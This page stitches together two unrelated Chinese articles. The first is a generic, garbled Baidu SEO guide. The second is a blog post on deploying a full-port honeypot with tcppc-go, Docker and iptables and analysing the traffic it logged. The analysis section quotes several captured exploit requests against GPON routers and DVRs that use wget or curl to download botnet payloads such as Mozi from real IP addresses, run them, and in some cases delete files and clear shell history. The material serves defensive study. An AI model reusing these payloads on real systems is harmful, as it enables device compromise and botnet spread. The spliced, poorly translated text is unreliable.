解决方案:百度SEO指南对具体的客户需求进行分析

　　解决方案:百度SEO指南对具体的客户需求进行分析

　　RYP陪练网致力于分享网站SEO优化技巧和方法。致力于提供互联网+转型战略咨询、应用系统移动App定制研发、产品运营服务。培联网是东莞一家致力于提供全网整合的公司。服务企业。RYP培联网博客网站提供服务器云托管服务、网站源码模板销售及网站建设。

　　网站优化和SEO的过程是怎样的？这是最近互联网上最常见的问题。不少*敏*感*词*户压力山大。给武汉网站排名站长的小贴士：学会网站优化流程和SEO步骤后，就可以自己做推广了。网站优化的过程和SEO的步骤如下：

　　1、确定需要优化的网站，确定网站的域名、IP、空间和关键词。首先要了解需要优化的网站，了解网站的行业、网站的主题内容和基本信息。分析网站域名，是否被搜索引擎惩罚，是否有多个域名，域名年龄，PR等，判断IP地址是否被搜索引擎惩罚，确定同IP站点情况，空间主要是分析速度，稳定性等。最重要的是识别 关键词，识别 关键词 来优化和排名您的网站。分析后期合理部署优化的难点。

　　

" />

　　2、了解客户的需求，了解目标客户的网站优化是为了关键词排名、品牌价值，还是为了增加流量。一般企业网站需要关键词排名和品牌价值。行业站需要的是流量和品牌价值，那么有人会问，这有什么区别？一般关键词的排名不代表有流量，也不代表流量多。它更有可能充当品牌价值和潜在客户的代理。行业网站一般需要流量，关键词需要根据网站行业、服务等内容进行优化，确定关键词的目的，帮助关键词，拓展关键词，长尾关键词 增加流量。企业站一般只需要主关键词的排名。分析客户需求。

　　百度SEO指南分析特定客户需求

　　3、分析调整网站结构，使其更适合SEO。客户需要优化的网站是已经建好的网站。很多网站建设不好的公司不考虑SEO内容，甚至质量差的互联网公司故意不考虑SEO，让后续客户需要SEO修改收费。这说明我们在网站策划的后期要充分考虑网站的推广和优化。预先做 SEO 工作。根据搜索引擎算法判断网站结构是否合理，进一步制定合理的调整方案进行关键词布局工作。

　　4.修改并添加网页代码。比如静态、代码减肥、内聚布局、关键字布局、文本布局等，改变冗余代码和不合理的代码设置，比如框架设计、flash、JS利用等。友情链接代码分析，很多人都会链接到JS调用，这是不合理的。关键词布局、文本设置、超链接设置等。

　　5、在做SEO工作时，无论是网站更新源的添加，还是内链网站的建设，都需要合理的更新源来支持职位排名的维护。因此，在优化工作步骤中应考虑更新源设置的因素。内链的建设也是网站优化最重要的工程的主要工作。

　　

" />

　　6.外链建设部分。请参考SEO商学院SEO培训课程第八期公开课和疯狂大战巨人提供的《外链基本方法与技巧》课程。有详细的外部分类、外部方法、外部构建技术等。查询流量、关键词排名、统计分析。确定长尾关键字的设置可以带来更多好处。站长期待网站优化流程和SEO步骤。这篇文章可以帮助你。

　　免责声明：部分文字及图片来源于网络，仅供学习交流之用，不得用于任何商业用途，版权归原作者所有。如有任何问题，请及时联系我们解决。本声明未尽事宜，请参见国家相关法律法规。本声明与国家法律法规冲突时，以国家法律法规为准。

　　官方数据:三、全端口蜜罐的数据分析

　　一、简介

　　在当前的网络环境中，流量种类繁多，包括网络空间扫描流量、搜索引擎爬虫流量、恶意软件检测流量等。例如mirai病毒在telnet爆破过程中，其目标IP是随机生成的（排除内网IP和一些特殊IP）。前段时间介绍了SSH蜜罐cowire的docker部署和数据展示。感兴趣的读者可以查看《Cowrie蜜罐与Elasticsearch+Kibana可视化之Docker部署过程》一文。本文将继续蜜罐方向，介绍一个全端口蜜罐。

　　一般来说，大多数蜜罐都是为了某种服务而运行的，比如上面提到的ssh蜜罐cowrie。通过模拟这种服务的正常协议交互，完成握手阶段，进行数据传输，基于这种蜜罐，可以记录攻击者的行为。但如前所述，mirai病毒定位目标是通过随机IP算法生成的；同时，云主机的SSH端口也每天收到各种爆破流量，于是心里有了一个想法，那么是不是还有其他端口也在被扫描或攻击。要获取这些信息，使用tcpdump显然是行不通的。虽然它可以接收各种扫描流量，但如果没有系统协议栈的支持，它无法知道连接的负载情况；使用多个端口是不现实的。毕竟端口那么多，管理起来很不方便。为满足上述要求，需要一个可以接受全端口流量的蜜罐。

　　基于以上背景，本文部署了一个全端口蜜罐，并对半个月内收到的日志进行了简要分析。文章整体结构如下：首先介绍了使用tcppc-go和docker搭建一个可以记录连接信息的蜜罐，然后使用iptables将端口转发到特定的端口，最后对采集到的数据进行分析两周。

　　2. 全端口蜜罐部署 2.1 需求分析

　　首先详细说明一下这个蜜罐的具体需求。

　　1、可以接受客户端的连接（攻击或扫描），不需要和特定的协议进行交互，可以接收并记录用户发送的数据，只要客户端还在发送数据就继续运行;

　　2、能够记录日志，包括连接信息、数据包内容等；

　　3. 能够接收系统所有端口流量。

　　本着不重新造轮子的想法，在github上搜索了“全端口蜜罐”，找到了一个可以满足功能的程序tcppc-go。除了满足以上要求外，还可以支持UDP协议，甚至可以加载SSL证书进行SSL握手。在此部署过程中不考虑 SSL 和 UDP。其github主页也介绍了如何抓取所有端口的数据负载并通过iptables进行转发，但本文并没有使用他的命令，建议读者谨慎尝试。

　　2.2 部署过程

　　tcppc-go 是一个用 go 语言编写的程序。虽然我有一定的go语言基础，但是不想在基础语言环境上折腾，所以我使用docker来搭建这个蜜罐，也方便没有go基础的读者直接部署。. 因此，在本次部署过程中，与之前的cowrie蜜罐一样，采用docker部署方式，但不进行数据展示，直接输出原创

日志。本次蜜罐部署环境如下：

　　环境版本信息

　　主机、操作系统

　　阿里云、CentOS Linux release 7.3.1611 (Core)

　　泊坞窗版本

　　泊坞窗版本 19.03.8

　　2.2.1 构建镜像

　　Dockerfile 是构建镜像的模板。Docker会按照Dockerfile的流程逐步构建镜像。对于具体的说明，在下面的 Dockerfile 中添加了简单的注释。想详细了解命令使用的读者可以自行搜索。

　　###使用golang作为基础镜像提供程序运行环境

FROM golang

#设置时区变量

ENV TZ=Asia/Shanghai

#调整时区,从github拉取相应源码，并编译

run ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone && \

go get github.com/md-irohas/tcppc-go && \

cd /go/src/github.com/md-irohas/tcppc-go && \

go build main.go

#跳转至生成的程序位置

WORKDIR /go/bin/

#执行命令

cmd ["./tcppc-go", "-T","86400","-w","log/tcppc-%Y%m%d.jsonl"]

　　上述Dockerfile的主要构建过程如下。首先拉取golang作为基础镜像，为程序提供go语言环境；然后，设置时区变量后，将时区调整为上海市区。如不调整，默认时间会比上海时间慢8小时；其次，使用go命令获取程序的源代码；最后，进入相应的路径进行编译。

　　新建文件夹docker_test（后续操作都会在该路径下进行），根据以上内容编辑Dockerfile文件，在文件夹下执行命令：docker build -t all_port:1.0。

　　其中-t参数是设置最终生成镜像的名称和版本号，可以自行调整；程序会运行一段时间，一般需要3-5分钟，主要卡在拉取go基础镜像和获取github源码的过程中。

　　

" />

　　以上命令会输出以上信息，说明蜜罐搭建成功；测试镜像是否构建成功并运行，首先创建一个log文件夹，用于后面挂载该文件夹到镜像，并保存日志，执行以下命令。

　　docker -it -d --restart=always --net=host -v `pwd`/log:/go/bin/log/ all_port:1.0

　　此时在log文件夹中可以看到已经生成了日志文件。非根用户可能需要调整文件夹的权限。在docker运行命令中使用--net=host让镜像使用宿主机的网络，这样端口就可以直接绑定到系统上了。后面使用iptable的时候，只需要指定端口即可。tcppc-go默认会绑定tcp/udp端口号12345，可以通过telnet 0 12345进行测试，在日志中随便敲命令即可查看日志。

　　如果按照上述步骤执行后出现以上信息，则表示镜像构建成功，可以成功运行并获取日志。但目前只开放一个端口用于监控。下面介绍一下如何通过iptables将本地端口转发到tcppc-go的12345端口。

　　2.2.2 调整iptables进行端口转发

　　请注意，如果命令错误使用iptables可能会导致机器无法访问，或影响其他正常服务，尤其是SSH端口。请务必注意您的订单是否正确。最好在自己的测试机或者虚拟机上测试命令，确保命令正确无影响。以下命令都是在我的机器上测试过没有任何问题，但是每个人的情况不一样，请慎重。

　　先解释一下最简单的命令iptables -t nat -A PREROUTING -p tcp -i eth0 --dport 5000:8000 -j REDIRECT --to-ports 12345。

　　下面解释一下命令的具体内容。此命令将在防火墙的 nat 表 (-t nat) 的预路由 (-A PREROUTING) 位置创建一条规则。此规则适用于 tcp 协议 (-p tcp)，其中端口范围为 5000-8000 (--dport 5000:8000) 将重定向到端口 12345 (-j REDIRECT --to-ports 12345)。

　　执行命令（外网IP），telnet your_machine_ip 5000，可以发现连接成功；上述命令不支持使用“0.0.0.0”，也不支持在部署蜜罐的本机进行环回地址测试，会回显拒绝服务的信息，这是由于iptables的有效位置。

　　上述命令虽然可以将端口转发到蜜罐的端口，但是在输出的蜜罐日志中缺少端口信息，看起来所有的流量都访问了12345端口，不利于具体的端口行为分析。因此需要对上述命令进行调整，记录端口转发过程日志。下面对实际部署过程中使用的命令进行具体说明。为了验证命令的可行性，会清除原蜜罐的防火墙规则，逐步重新加载规则。

　　执行命令iptables -t nat -L -nv查看nat表中已有的规则，得到下图的输出。

　　上面输出中的最后一条规则是由刚刚执行的命令生成的。首先执行删除这条规则的命令，执行命令iptables -t nat -D PREROUTING 5，其中5对应这条规则的编号，可以通过命令（iptables -t nat -L -nv --line-数字）来获取数字。后续如果规则有问题，可以根据编号删除对应的规则，注意不要删除正常的规则。

　　1.打开iptables日志

　　1.在文件/etc/rsyslog.conf,/​​var/log/iptables.log中添加一行

　　2.为了像ssh日志一样回滚日志，在文件/etc/logrotate.d/syslog中添加文件名/var/log/iptables.log。配置完成后，文件内容如下。

　　3、运行service rsyslog restart使配置生效。

　　二、iptables日志规则

　　执行以下两个命令。

　　iptables -t nat -A PREROUTING -p tcp -i eth0 --dport 5000:8000 -j LOG --log-level 6 --log-prefix "port_for"

　　iptables -t nat -A PREROUTING -p tcp -i eth0 --dport 5000:8000 -j REDIRECT --to-ports 12345

　　下面简单解释一下上述命令的含义。第一个命令是记录传入流量。日志级别 6 对应于上一个。日志前缀是port_for，无意义，可以自己定义。第二条命令将流量重定向到12345端口，经测试，如果把上面两条命令的顺序反过来，虽然可以重定向，但是没有日志输出。

　　测试：执行命令telnet your_machine_ip 5000，可以在/var/log/iptables.log中看到实时输出。

　　其他端口只需要修改端口范围，执行命令类似即可；如果命令都正确，但是无法连接，请检查是否是云主机没有开放端口的原因。

　　2.2.3 部署过程总结

　　在前面的内容中，本文介绍了如何通过docker部署tcppc-go程序，并简单介绍了使用iptables完成端口转发功能。在自己机器上部署的读者在执行iptables命令时一定要谨慎。现在最好在虚拟机或者测试机上测试命令，以免造成不必要的麻烦。

　　3、全端口蜜罐数据分析

　　在上一篇文章中，已经详细介绍了全端口蜜罐的部署过程。按照步骤部署，现在可以有两个数据来源，一个是iptables在端口转换过程中产生的端口转换日志（TCP连接）；另一个是tcppc-go程序采集

的连接信息（包括负载）。接下来用python分别对这两方面的数据进行分析。主要使用的第三方库是pandas数据分析库，使用jupyter-notebook的形式方便分析过程。分析的日志时间是2020年5月24日到2020年6月7日，5月24日部署，日志只有半天的数据，其余时间都是全天的数据。这部分的分析侧重于对数据的分析，并没有详细描述代码实现。后面提供github地址，包括jupyter的分析过程。

　　注：因为我的云主机同时托管了SSH/honeypot（端口22/2222）和SSH蜜罐（23/2323），这部分服务由上一篇介绍的cowrie蜜罐处理，下面这部分日志是未反映在日志中，日志数量可能存在偏差。使用iptables的转发范围包括（24-2221），（2324-65535）。

　　3.1 iptables端口转换日志数据分析

　　图 1. 日志数量（按天）

　　从图1可以看出，部署蜜罐后，两天后日志数量趋于稳定。如果剔除5月24日，剩余14天平均每天的日志数约为3.5万条。

　　

" />

　　图 2. 去重日志数量

　　虽然每天的日志数量非常多，但是从去重的ip/ports数量来看（图2），每天的IP数量趋于稳定，大致在2400左右；端口数量大多在14000左右。

　　图 3. 日志中访问端口的排序

　　图 3 显示，在 15 天的日志中，445 端口被访问最多。结合最近曝光的SMB漏洞，不难理解该端口有如此高的访问量；其次是8088（最有可能是WEB服务），1433（SQL Server默认端口）。图3主要是对所有日志的端口进行排序。接下来，对每个访问端口的IP进行去重后，我们可以查看访问最多的端口。

　　图 4. 日志中访问端口的排序（IP 重复数据删除）

　　从图4可以看出，经过IP去重再排序后，第一端口和第二端口的差距没有那么大了，第二多和第三多的端口也发生了变化。上面的图片是以天为单位来描述的，下面以30分钟这样比较小的时间间隔来描述。下文去重的含义是指在时间间隔内分别对IP或端口进行去重。

　　图 5. 日志数量（每 30 分钟）

　　从图5可以看出，IP数量趋于稳定，但日志数量不稳定，有波动；去重日志中，端口数量多于IP数量，存在扫描行为或多个端口连接到同一个IP的行为。如果没有扫描行为，源IP和目的端口的数量应该相等；日志数明显高于其他两个数，说明有一个IP多次访问某个端口（或多个端口），产生了多条日志。上图时间跨度太大，我们通过一天的日志来说明之前的结论。

　　图 6. 第 25 条日志数

　　在图6的标识中，在第1类椭圆处，日志条数和目的端口条数急剧增加，且条数相等，说明有某个IP在进行端口扫描；在第2类椭圆处，IP数量与端口数量相当，但日志数量多于前者，说明某个IP对某个端口（或多个端口）进行了多次访问。虽然在类型2中，也有可能是某个IP在进行小范围的端口扫描，但是相对来说，类型1的这种现象更能说明IP在进行端口扫描的行为。为了验证结论，这里打印了类型1定位时间的日志。从图7可以看出，确实存在扫描行为。

　　图 7. 端口扫描活动日志

　　图 8. 国家分布

　　图8绘制了所有日志的地理分布，分析过程中使用了第三方库geoip2。从国家分布来看，除了中国居首位外，*敏*感*词*和荷兰的原木数量最多。我在部署HTTP代理蜜罐的过程中也发现了这种情况。有大量*敏*感*词*IP接入。

　　3.2 TCP连接数据负载分析

　　在处理TCP负载日志时，发现tcppc-go生成的日志是json格式，数据负载已经过base64编码。pandas虽然支持从json文件中获取数据，但是有些数据类型，比如数组，并不能完美支持。这次我们主要检查TCP payload中一些攻击的流量。解码数据负载后，我们可以直接根据一些特殊字符进行搜索。根据以往部署ssh蜜罐的经验，很多恶意样本都是通过wget下载的；同时，一些HTTP协议有webshll服务。下面根据“wget”和“shell”两个字符串进行分析。这部分的日志非常多，这里只贴出几篇作为例子。

　　POST /GponForm/diag_Form?images/ HTTP/1.1\r\nHost: 127.0.0.1:80\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nUser-Agent: Hello, World\r\nContent-Length: 118\r\n\r\nXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://116.114.95.192:58149/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0

　　经查找，上述payload利用了GPON漏洞[1]。

　　GET /cgi-bin/supervisor/CloudSetup.cgi?exefile=cd%20/tmp;%20wget%20http://23.254.227.92/bins.sh%20-O%2012.bins.sh;curl%20-O%20http://23.254.227.92/bins.sh%20-O%2011.bins.sh;%20chmod%20777%20*;%20sh%2011.bins.sh;%20sh%2012.bins.sh HTTP/1.0\r\n\r\n

　　DVR 漏洞 [2]。

　　GET /shell?cd%20/tmp;wget%20http:/%5C/23.254.164.76/ally.sh%20-O%20gf;%20chmod%20777%20gf;./gf%20DVR HTTP/1.1\r\nHost: xx.xx.xx.xx:5500\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nUser-Agent: python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.el6.x86_64\r\n\r\n

　　GET /shell?cd%20/tmp;wget%20http:/%5C/185.172.110.227/sys6;%20chmod%20777%20sys6;%20./sys6 HTTP/1.1\r\nHost: xx.xx.xx.xx:5502\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nUser-Agent: python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.29.2.el6.x86_64\r\n\r\n

　　GET /shell?cd%20/tmp%20%7C%7C%20cd%20/run%20%7C%7C%20cd%20/;%20wget%20http://185.103.110.146/axisbins.sh;%20chmod%20777%20axisbins.sh;%20sh%20axisbins.sh;%20rm%20-rf%20axisbins.sh;rm%20-rf%20*;%20clear;history%20-c;%20clear;history%20-w HTTP/1.1\r\nHost: xx.xx.xx.xx:5501\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nUser-Agent: python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.el6.x86_64\r\n\r\n

　　GET /shell?cd+/tmp;rm+-rf+*;wget+http://112.17.89.155:51082/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1\r\nUser-Agent: Hello, world\r\nHost: xx.xx.xx.xx:80\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nConnection: keep-alive\r\n\r\n

　　上面的命令并不清楚是什么产品存在漏洞。但是，这些有效负载是 TCP 的第一个数据包，表明这些攻击不需要交互。它们的原理应该与mirai僵尸网络病毒的原理一致，通过随机生成IP来攻击主机。同时日志中还有各种爬虫和服务检测流量，这里就不一一列举了。

　　3.3 数据分析总结

　　本节分析采集

到的日志，主要详细分析端口转换过程中产生的端口日志，分析日志数量、端口分布、地域分布等，可以发现扫描行为，知道检测到的端口最多的是什么他们是？负载分析部分，我们主要使用两个已知的指纹wget和shell直接匹配，可以找到很多日志。这些连接之前没有交互，直接下载恶意样本。

　　4.总结

　　本文重点介绍全端口蜜罐的部署和数据分析。使用iptables配合开源软件tcppc-go记录日志，然后详细分析了端口转换日志，并简单列举了几种攻击样本。通过本文的分析，我们可以找到一个存活的云主机接收到的流量行为的分布：端口，访问IP，区域，查看各种负载；通过端口转发日志可以看到端口扫描行为，通过负载信息可以看到各种样本的存在。不过本文的方法主要是离线分析，如果以后有机会开发实时展示系统；同时，非结构化数据库用于存储负载信息。

　　本文使用的dockerfile和分析端口转发日志的jupyter分析过程已经上传到all_port_honeyport。

　　参考文章

　　[1] GPON漏洞在野利用（一）——muhstik僵尸网络

　　[2] AVTECH DVR设置无用户登录命令执行漏洞